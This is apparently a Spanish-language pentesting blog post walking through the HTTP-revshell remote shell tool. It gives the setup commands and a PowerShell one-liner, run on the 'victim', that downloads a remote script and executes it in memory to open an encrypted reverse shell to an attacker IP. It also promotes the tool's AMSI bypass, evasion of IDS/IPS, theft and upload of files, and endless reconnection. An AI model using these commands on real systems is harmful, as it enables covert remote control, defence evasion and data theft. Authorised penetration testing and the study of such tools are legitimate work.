Muy buenas a todos!

Esta semana vamos a comenzar una nueva serie de posts, en las que pondremos a pruebas diferentes shells remotas. La primera de ellas, será HTTP-revshell, que nos proporcionará conexión a través de los protocolos http/https y que además cuenta con soporte multi-sesión, entre otras muchas cosas.

Uno de los recursos más importantes al realizar una auditoría, es el hecho de poder interactuar con los equipos víctima a través de una shell remota. Por desgracia, esto no siempre es posible o puede llegar a resultar bastante complicado. Normalmente, esto se debe a que existen medidas de protección a nivel de red, que nos bloquearán el paso e impedirán nuestra ansiada conexión con la víctima.

Existen todo tipo de herramientas que podemos utilizar para este fin, desde un simple netcat hasta un avanzado meterpreter. Habitualmente, las más sencillas nos ofrecerán menor detección, pero a cambio renunciaremos a funcionalidades avanzadas que nos permitirían mantener la sesión activa durante más tiempo, subir y descargar ficheros e interactuar con diferentes víctimas de forma simultánea.

Por suerte para nosotros, siempre existe alguien dispuesto a ofrecernos una solución que cumpla con todas nuestras necesidades 🙂

En concreto, vamos a probar una solución creada por @3v4Si0n llamada HTTP-revshell, que nos permitirá obtener una shell remota a través de los protocolos http/https, con reconexión automática, multi-sesión, descarga y subida de ficheros, conexión cifrada, bypass de AMSI y mucho más, casi nada!

Podéis encontrar el proyecto en el siguiente enlace: https://github.com/3v4Si0N/HTTP-revshell

Para poner a prueba la herramienta, utilizaremos la versión que actualmente se encuentra en desarrollo. Para ello, lo primero que haremos será descargarla con el siguiente comando:

git clone -b dev https://github.com/3v4Si0N/HTTP-revshell.git

Por ahora, el proyecto solo requiere una dependencia, que instalaremos de la siguiente forma:

pip3 install pynput

Ahora que ya disponemos de todo lo necesario, levantaremos el servidor que se quedará a la escucha de nuevas conexiones entrantes. En mi caso, utilizaré la ip 0.0.0.0 para hacerlo en todas las interfaces de red. Para hacerlo, utilizaremos el siguiente comando:

python3 server-multisession.py --ssl 0.0.0.0 443

Por último, solo tendríamos que ejecutar el siguiente código en nuestra víctima para obtener una shell remota:

powershell -w h -nop iwr -useb "https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/dev/Invoke-WebRev.ps1 | iex ; Invoke-WebRev -ip 192.168.160.135 -p 443 -ssl"

Si todo ha ido bien, la herramienta nos notificará que ha obtenido una conexión entrante y que para interactuar con ella, deberemos pulsar la tecla enter:

A partir de este momento, podremos ejecutar comandos a través de una consola de PowerShell, que cuenta con bypass de AMSI por defecto y que nos permitirá interactuar con ella de la misma forma que una consola nativa, de forma totalmente interactiva.

El uso de la herramienta es totalmente intuitivo, lo único que necesitaremos conocer son los comandos básicos: sessions, interact y exit. Además, pulsando la combinación de teclas Ctrl+D, volveremos al menú principal donde podremos listar las conexiones actuales e interactuar con las diferentes víctimas, como podemos ver a continuación:

Si habéis prestado atención, os habréis dado cuenta de que he utilizado el parámetro -ssl tanto en el servidor como en la víctima. Esto nos permitirá mantener una comunicación cifrada con la misma desde el primer momento, evitando así la mayoría de soluciones de IDS e IPS:

Por si todo esto fuera poco, contamos con la posibilidad de descargar ficheros de la víctima de una forma simple y automatizada, utilizando el comando download:

Además, como era de esperar, contamos con su homólogo para subir ficheros de la misma forma, utilizando el comando upload:

Por último, – y probablemente uno de los puntos más importantes – en caso de que el servidor deje de estar disponible, la víctima continuará intentando conectar con el servidor de forma indefinida, hasta que volvamos a recuperar la conexión:

Como conclusión final, pese a ser una herramienta en pleno desarrollo y con un nivel de madurez bajo, se trata de una herramienta potente y versátil, que no debe de faltar en tu mochila de pentester.

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!